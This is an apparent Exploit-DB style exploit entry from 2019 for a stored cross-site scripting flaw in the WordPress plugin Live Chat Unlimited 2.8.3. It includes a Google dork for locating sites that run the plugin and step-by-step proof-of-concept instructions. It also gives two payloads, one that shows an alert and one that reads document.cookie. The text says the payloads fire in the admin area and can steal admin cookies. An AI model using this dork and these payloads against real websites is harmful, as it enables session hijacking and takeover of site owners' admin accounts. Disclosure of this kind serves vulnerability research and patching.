WordPress Plugin Live Chat Unlimited 2.8.3 – Cross-Site Scripting
# Exploit Title: Live Chat Unlimited v2.8.3 Stored XSS Injection # Google Dork: inurl:"wp-content/plugins/screets-lcx" # Date: 2019/06/25 # Exploit Author: m0ze # Vendor Homepage: https://screets.com/ # Software Link: https://codecanyon.net/item/wordpress-live-chat-plugin/3952877 # Version: 2.8.3 # Tested on: Windows 10 / Parrot OS # CVE : - Info: Weak security measures like bad input field data filtering has been discovered in the «Live Chat Unlimited». Current version of this premium WordPress plugin is 2.8.3. PoC: Go to the demo website https://site.com/try/lcx/night-bird/ and open chat window by clicking on «Open/close» link, then click on «Online mode» to go online. Use your payload inside input field and press [Enter]. Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other website. Example #1: <!--<img src="https://www.exploit-db.com/exploits/47037/--><img src=x onerror=(alert)(`m0ze`)//">m0ze Example #2: <!--<img src="https://www.exploit-db.com/exploits/47037/--><img src=x onerror=(alert)(document.cookie)//">m0ze |